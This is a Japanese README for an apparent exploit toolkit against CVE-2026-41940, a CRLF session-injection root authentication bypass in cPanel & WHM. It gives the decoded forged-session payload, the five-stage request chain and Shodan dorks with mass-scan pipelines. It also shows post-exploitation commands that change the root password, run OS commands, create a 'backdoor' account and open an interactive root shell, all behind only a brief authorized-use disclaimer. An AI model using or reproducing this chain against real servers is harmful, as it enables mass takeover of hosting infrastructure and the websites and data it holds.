
CVE-2026-41940用の自動スキャナー&ポストエクスプロイテーションツールキット — cPanel & WHMのルート認証バイパス(session-file CRLF injection経由)
English | فارسی (Persian)
██████╗██████╗ █████╗ ███╗ ██╗███████╗██╗
██╔════╝██╔══██╗██╔══██╗████╗ ██║██╔════╝██║
██║ ██████╔╝███████║██╔██╗ ██║█████╗ ██║
██║ ██╔═══╝ ██╔══██║██║╚██╗██║██╔══╝ ██║
╚██████╗██║ ██║ ██║██║ ╚████║███████╗███████╗
╚═════╝╚═╝ ╚═╝ ╚═╝╚═╝ ╚═══╝╚══════╝╚══════╝
██████╗██╗ ██╗███████╗
██╔════╝██║ ██║██╔════╝
██║ ██║ ██║█████╗
██║ ╚██╗ ██╔╝██╔══╝
╚██████╗ ╚████╔╝ ███████╗
╚═════╝ ╚═══╝ ╚══════╝
███████╗██╗ ██╗██████╗ ██╗ ██████╗ ██╗████████╗
██╔════╝╚██╗██╔╝██╔══██╗██║ ██╔═══██╗██║╚══██╔══╝
█████╗ ╚███╔╝ ██████╔╝██║ ██║ ██║██║ ██║
██╔══╝ ██╔██╗ ██╔═══╝ ██║ ██║ ██║██║ ██║
███████╗██╔╝ ██╗██║ ███████╗╚██████╔╝██║ ██║
╚══════╝╚═╝ ╚═╝╚═╝ ╚══════╝ ╚═════╝ ╚═╝ ╚═╝
CVE-2026-41940 のための自動スキャナー&ポストエクスプロイトツールキット — セッションファイルの CRLF インジェクションによる cPanel & WHM の root 認証バイパス。
CPANEL CVE EXPLOIT は、CVE-2026-41940 に脆弱な cPanel & WHM サーバーに対する認定セキュリティ評価のために設計された単一ファイルの Python ツールです。
この脆弱性により、リモートの認証されていない攻撃者が Authorization: Basic ヘッダーに CRLF インジェクションを仕掛けて WHM セッションファイルを汚染し、認証をバイパスして正規の資格情報なしにルートレベルの WHM アクセスを取得できます。
脆弱なバージョンの cPanel & WHM では、Session.pm 内の saveSession() がセッションファイルをディスクに書き込んだ後に filter_sessiondata() を呼び出します。攻撃者は HTTP Authorization: Basic ヘッダーを介して CRLF(\r\n)文字を注入でき、それらがディスク上のセッションファイルに直接書き込まれ、サニタイズがバイパスされます。
このツールは、Base64 エンコードされたペイロードを使用します。これをデコードすると次のようになります。
root:x
successful_internal_auth_with_timestamp=9999999999
user=root
tfa_verified=1
hasroot=1
これらのフィールドは、完全に認証されたルート WHM セッションをシミュレートし、2FA バイパス(tfa_verified=1)とルート権限フラグ(hasroot=1)を含みます。
cPanel は filter_sessiondata() を Session.pm のセッション書き込み操作の前に実行するように変更しました。
エクスプロイトチェーンは 5 段階(ステージ 0~4)で構成されます。
flowchart TD
A[Stage 0: Canonical Host Discovery] --> B[Stage 1: Mint Preauth Session]
B --> C[Stage 2: CRLF Injection via Authorization Header]
C --> D[Stage 3: Session Propagation via do_token_denied]
D --> E[Stage 4: Verify Root Access via json-api/version]
E --> F{Vulnerable?}
F -->|Yes| G[Post-Exploit Actions / Interactive Shell]
F -->|No| H[Skip Target]
A -.- A1["GET /openid_connect/cpanelid → 307 redirect reveals real hostname"]
B -.- B1["POST /login/?login_only=1 → whostmgrsession cookie"]
C -.- C1["GET / + poisoned Basic auth → /cpsessXXXXXXXXXX token"]
D -.- D1["GET /scripts2/listaccts → flush raw session to cache"]
E -.- E1["GET /cpsessXXX/json-api/version → HTTP 200 + version JSON"]注: パッチが適用されたビルドを実行しているターゲットは、スキャン中に自動的にフラグが付けられ、スキップされます。
| パッケージ | 目的 |
|---|---|
selenium | ブラウザ自動ログイン (--selenium) |
| Chrome / Firefox | Selenium 用ブラウザエンジン |
pip install -r requirements.txt # オプション — selenium のみ
git clone https://github.com/YOUR_USERNAME/cpanel-cve-exploit.git
cd cpanel-cve-exploit
ビルド手順は不要です。直接実行します。
python3 test-cve.py --help
# 単一の WHM ターゲットをスキャン
python3 test-cve.py -u https://target.com:2087
# ポストエクスプロイトでスキャン:すべての cPanel アカウントを一覧表示
python3 test-cve.py -u https://target.com:2087 --action list
# ファイルから大量スキャン、20 スレッド、JSON レポートを保存
python3 test-cve.py -l targets.txt -t 20 -o results.json
usage: test-cve.py [-h] [-u URL] [-l LIST] [--hostname HOSTNAME]
[-t THREADS] [--timeout TIMEOUT] [--rate-limit RATE_LIMIT]
[--action {list,passwd,cmd,exec,info,version,shell,adduser}]
[--passwd PASSWD] [--cmd CMD]
[--new-user NEW_USER] [--new-domain NEW_DOMAIN]
[--read-file READ_FILE] [--selenium]
[--engine {chrome,firefox}] [--browser] [--check-rce]
[-o OUTPUT] [--no-color]
| フラグ | 説明 |
|---|---|
-u, --url | 単一ターゲット URL(例: https://host:2087) |
| フラグ | 説明 |
|---|---|
-o, --output | 発見事項を JSON ファイルに保存 |
--no-color | ANSI カラー出力を無効化 |
ポストエクスプロイトフラグは単一ターゲットのみで動作します(
-u、大量スキャンでは不可)。
# バイパス後に root パスワードを変更
python3 test-cve.py -u https://target.com:2087 --action passwd --passwd 'P@ss2026!'
# リモートコマンドを実行
python3 test-cve.py -u https://target.com:2087 --action cmd --cmd "id;whoami;uname -a"
# バックドア cPanel アカウントを作成
python3 test-cve.py -u https://target.com:2087 \
--action adduser --new-user backdoor --new-domain evil.com --passwd 'TempPass2026!'
# インタラクティブ WHM シェルを開く
python3 test-cve.py -u https://target.com:2087 --action shell
# Chrome 経由で自動ログイン
python3 test-cve.py -u https://target.com:2087 --selenium --engine chrome
# 手動ブラウザログイン(DevTools コンソール用 JS を表示)
python3 test-cve.py -u https://target.com:2087 --browser
--action shell で起動すると、完全なインタラクティブセッションが利用できます。
[email protected] ▶ help
id / whoami / hostname / version → サーバー情報
ls [path] → ファイル一覧
cat [path] → ファイル内容の読み取り
accounts → cPanel アカウント一覧
addadmin <user> <pass> → WHM 管理者/リセラーを作成
passwd <newpass> → root パスワードを変更
exec <command> → OS コマンドを実行
exit / quit → シェルを終了
例:
[email protected] ▶ id
uid=0(root) gid=0(root) groups=0(root)
[email protected] ▶ accounts
user=webuser1 domain=example.com [email protected]
user=webuser2 domain=test.com [email protected]
[email protected] ▶ cat /etc/passwd
[email protected] ▶ exit
python3 test-cve.py -l targets.txt -t 20 -o results.json
cat urls.txt | python3 test-cve.py
# subfinder + httpx パイプライン
subfinder -d example.com -silent | httpx -p 2087 -silent | python3 test-cve.py -t 30
# Shodan パイプライン
shodan search --fields ip_str,port 'title:"WHM Login"' | \
awk '{print "https://"$1":"$2}' | python3 test-cve.py -t 30 -o shodan_results.json
| 形式 | 例 |
|---|---|
| 完全な URL | https://192.168.1.1:2087 |
| IP + ポート | 192.168.1.1 2087 |
| Shodan 出力 | 正規表現で自動解析 |
| ANSI カラー出力 | 自動的に除去 |
title:"WHM Login"
title:"WebHost Manager" port:2087
product:"cPanel" port:2087
http.title:"WHM"
ssl:"cpanel" port:2087
発見事項は、-o results.json を使用すると JSON で保存されます。
{
"scanner": "cPanelSniper v2.0",
"cve": "CVE-2026-41940",
"timestamp": "2026-05-23T12:00:00.000000",
"findings": [
{
"severity": "CRIT",
"title": "CVE-2026-41940 — cPanel & WHM Authentication Bypass",
"target": "https://target.com:2087",
"canonical": "server.target.com",
"session": "root:SessionName",
"token": "/cpsess1234567890",
"version": "11.126.0.50",
"api_url": "https://target.com:2087/cpsess1234567890/json-api/version",
"evidence": "{\"version\":\"11.126.0.50\"...}",
"cve": "CVE-2026-41940",
"cvss": "10.0",
"timestamp": "2026-05-23T12:00:05.000000"
}
]
}
══════════════════════════════════════════════════════════════════════
cPanelSniper — CVE-2026-41940 スキャン完了
時間: 12.4s · ターゲット数: 50
──────────────────────────────────────────────────────────────────────
⚡ 2 件の脆弱なターゲット
ターゲット : https://victim1.com:2087
バージョン : 11.126.0.50
トークン : /cpsess1234567890
API URL : https://victim1.com:2087/cpsess1234567890/json-api/version
証拠 : {"version":"11.126.0.50"...}
══════════════════════════════════════════════════════════════════════
$ python3 test-cve.py -u https://target.com:2087
設定:
ターゲット : 1
スレッド : 10
タイムアウト : 15s
アクション : スキャンのみ
12:00:01 [INFO] 正規ホスト名を検出: server.target.com
12:00:02 [ OK] ステージ1: プリオースセッション = root:abc123...
12:00:03 [ OK] ステージ2: HTTP 307 → トークン=/cpsess1234567890
12:00:04 [ OK] ステージ3: HTTP 401 — do_token_denied ガジェット発動
12:00:05 [INFO] ステージ4: HTTP 200 {"version":"11.126.0.50"...}
12:00:05 [PWND] CVE-2026-41940 確認 — WHM ルートアクセス! (v11.126.0.50 — 脆弱性確認済み)
12:00:05 [PWND] トークン : /cpsess1234567890
12:00:05 [PWND] セッション : root:abc123...
12:00:05 [PWND] バージョン : 11.126.0.50
12:00:05 [PWND] API URL : https://target.com:2087/cpsess1234567890/json-api/version
cpanel-cve-exploit/
├── test-cve.py # メインスキャナー&エクスプロイトツール(単一ファイル)
├── requirements.txt # オプション: selenium
├── README.md # 英語ドキュメント
└── README.fa.md # ペルシア語ドキュメント (فارسی)
許可されたセキュリティテスト専用
このツールは教育および許可されたペネトレーションテストの目的でのみ提供されます。
本ツールを使用することにより、責任を持って、かつすべての適用法に準拠して使用することに同意したものとみなされます。
2087 (HTTPS)セキュリティ研究者のために構築されました · 責任を持って使用してください
| プロパティ | 値 |
|---|
| CVE | CVE-2026-41940 |
| 深刻度 | クリティカル |
| CVSS | 10.0 |
| 攻撃ベクトル | ネットワーク / 認証不要 |
| 影響 | 完全な WHM ルートアクセス |
| デフォルトポート | 2087 (WHM) |
| 状況 | 野外での悪用が確認済み (2026年4月) |
| ステージ | エンドポイント | 目的 |
|---|
| 0 | /openid_connect/cpanelid | 307 リダイレクトによる正規ホスト名の自動検出 |
| 1 | /login/?login_only=1 | 間違った資格情報でプリオース whostmgrsession Cookie を取得 |
| 2 | / | CRLF で汚染された Authorization: Basic ヘッダーをセッションファイルに注入 |
| 3 | /scripts2/listaccts | do_token_denied ガジェットをトリガーし、セッションをキャッシュにフラッシュ |
| 4 | /{token}/json-api/version | ルートアクセスを確認 — HTTP 200 + バージョン JSON |
| 機能 | 説明 |
|---|
| 単一ターゲットスキャン | 1 つの WHM URL に対する完全なエクスプロイトチェーン |
| 大量スキャン | ファイルまたは標準入力からのマルチスレッドスキャン |
| バージョン検出 | パッチ適用済み/脆弱バージョンの自動比較 |
| ポストエクスプロイト API | パスワード変更、コマンド実行、アカウント一覧、ユーザー作成 |
| インタラクティブシェル | ファイル読み取りと API コマンドを備えた組み込み WHM ルートシェル |
| Selenium ログイン | Chrome/Firefox にセッション Cookie を自動注入 |
| 手動ブラウザフォールバック | 手動 WHM ログインのためのコンソール JavaScript スニペット |
| RCE チェック | バイパス後の迅速な id / uname -a 確認 |
| JSON エクスポート | すべての発見事項を構造化 JSON レポートに保存 |
| パイプライン対応 | httpx、subfinder、shodan、awk パイプラインで動作 |
| Stdlib のみ | コア機能に pip 依存関係は不要 |
| カラー出力 | リアルタイムのステージログと重大度インジケーター |
| ブランチ | パッチ適用バージョン | 状況 |
|---|
| 11.110.x | 11.110.0.97 | パッチ未満は脆弱 |
| 11.118.x | 11.118.0.63 | パッチ未満は脆弱 |
| 11.126.x | 11.126.0.54 | パッチ未満は脆弱 |
| 11.132.x | 11.132.0.29 | パッチ未満は脆弱 |
| 11.134.x | 11.134.0.20 | パッチ未満は脆弱 |
| 11.136.x | 11.136.0.5 | パッチ未満は脆弱 |
-l, --list | URL を 1 行に 1 つずつ含むファイル |
--hostname | 正規の Host ヘッダーを上書き(デフォルトでは自動検出) |
| フラグ | デフォルト | 説明 |
|---|
-t, --threads | 10 | 同時スキャンスレッド数 |
--timeout | 15 | HTTP タイムアウト(秒) |
--rate-limit | 0 | ターゲット送信間の遅延(秒) |
| アクション | フラグ | 説明 |
|---|
| スキャンのみ | (デフォルト) | エクスプロイトチェーンを実行し、脆弱性を報告 |
| アカウント一覧 | --action list | WHM API 経由ですべての cPanel アカウントを一覧表示 |
| パスワード変更 | --action passwd --passwd <pass> | root WHM パスワードを変更 |
| コマンド実行 | --action cmd --cmd "id;whoami" | WHM exec API 経由で OS コマンドを実行 |
| サーバー情報 | --action info | ホスト名、負荷、ディスク、バージョンを収集 |
| バージョン取得 | --action version | API 経由で cPanel/WHM バージョンを取得 |
| アカウント作成 | --action adduser --new-user u --new-domain d.com --passwd p | 新しい cPanel アカウントを作成 |
| インタラクティブシェル | --action shell | インタラクティブ WHM ルートシェルを起動 |
| RCE チェック | --check-rce | バイパス成功後に id;uname -a を実行 |
| Selenium ログイン | --selenium [--engine chrome|firefox] | ブラウザで WHM ダッシュボードに自動ログイン |
| 手動ブラウザ | --browser | 手動ログイン用の JavaScript コンソールコマンドを表示 |